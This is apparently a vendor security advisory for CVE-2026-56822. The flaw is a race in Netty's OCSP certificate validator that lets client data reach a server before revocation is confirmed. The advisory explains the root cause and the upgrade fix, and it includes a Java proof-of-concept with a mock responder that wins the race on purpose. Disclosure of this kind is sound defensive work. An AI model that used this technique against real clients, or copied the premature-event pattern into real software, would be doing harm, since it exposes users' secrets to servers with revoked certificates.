high · 7.4CVE-2026-56822Jul 22, 2026

CVE-2026-56822: netty-handler-ssl-ocsp TOCTOU Race in OcspServerCertificateValidator

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Netty fires the TLS handshake-success event to downstream handlers before its async OCSP check finishes, letting a client leak sensitive data to a server whose certificate may be revoked.

Packageio.netty:netty-handler-ssl-ocsp
Ecosystemmaven
Affected>= 4.2.0.Final, < 4.2.16.Final
Fixed in4.2.16.Final

The problem

In OcspServerCertificateValidator.userEventTriggered, on receiving SslHandshakeCompletionEvent, the validator calls ctx.fireUserEventTriggered(evt) immediately and then kicks off an async OCSP query. Downstream handlers see the handshake-success signal right away and can write application data before the OCSP result is known.

If the OCSP response later marks the certificate REVOKED, the channel is closed, but the window between the success event and that closure is enough for secrets to be transmitted. A malicious server with a revoked certificate can exploit this gap to receive sensitive client data or feed malicious responses back.

Proof of concept

A working proof-of-concept for CVE-2026-56822 in io.netty:netty-handler-ssl-ocsp, with the exact payload below.

java
// Stripped-down reproducer derived from the published advisory PoC.
// A mock OCSP responder returns INTERNAL_ERROR (unresolvable status),
// which forces the async path and widens the TOCTOU window.
//
// The client downstream handler writes SECRET_DATA the moment it sees
// SslHandshakeCompletionEvent.isSuccess() == true, BEFORE the OCSP
// future resolves. The server receives the payload even though the
// channel is later closed by the failed OCSP check.

// 1. Build a minimal OCSP response with INTERNAL_ERROR status
OCSPRespBuilder respBuilder = new OCSPRespBuilder();
OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
byte[] responseEncoded = response.getEncoded();

// 2. Downstream handler on the client side -- fires on handshake success
new ChannelInboundHandlerAdapter() {
    @Override
    public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
        if (evt instanceof SslHandshakeCompletionEvent) {
            SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
            if (sslEvent.isSuccess()) {
                // Fires BEFORE the async OCSP check has resolved:
                ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
            }
        }
        ctx.fireUserEventTriggered(evt);
    }
};

// 3. The mock OCSP responder delivers its response after a 500 ms delay,
//    ensuring the write above always wins the race.
ctx.executor().schedule(() -> {
    ctx.pipeline().fireChannelActive();
    DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
        HttpVersion.HTTP_1_1, HttpResponseStatus.OK,
        Unpooled.wrappedBuffer(responseEncoded));
    httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
    httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH,
        httpResponse.content().readableBytes());
    ctx.pipeline().fireChannelRead(httpResponse);
}, 500, TimeUnit.MILLISECONDS);

// Result: server receives "SECRET_DATA" despite the certificate being unvalidatable.

The root cause is a classic TOCTOU (CWE-367): the check (OCSP validation) and the use (allowing downstream data flow) are decoupled in time. fireUserEventTriggered runs synchronously before OcspClient.query returns, so any handler lower in the pipeline acts on a handshake-success event that has not yet been verified.

The fix, shipped in 4.2.16.Final, defers ctx.fireUserEventTriggered(evt) into the async OCSP completion callback. The event is now only propagated after the OCSP result is known to be GOOD, and the channel is closed first if the result is REVOKED or unresolvable.

This eliminates the window entirely.

The fix

Upgrade io.netty:netty-handler-ssl-ocsp to 4.2.16.Final (or 4.1.136.Final on the 4.1.x branch). No workaround exists in affected versions short of removing OcspServerCertificateValidator from the pipeline and performing OCSP validation manually before allowing data flow.

Reporter not attributed.

References: [1][2][3][4]

Related research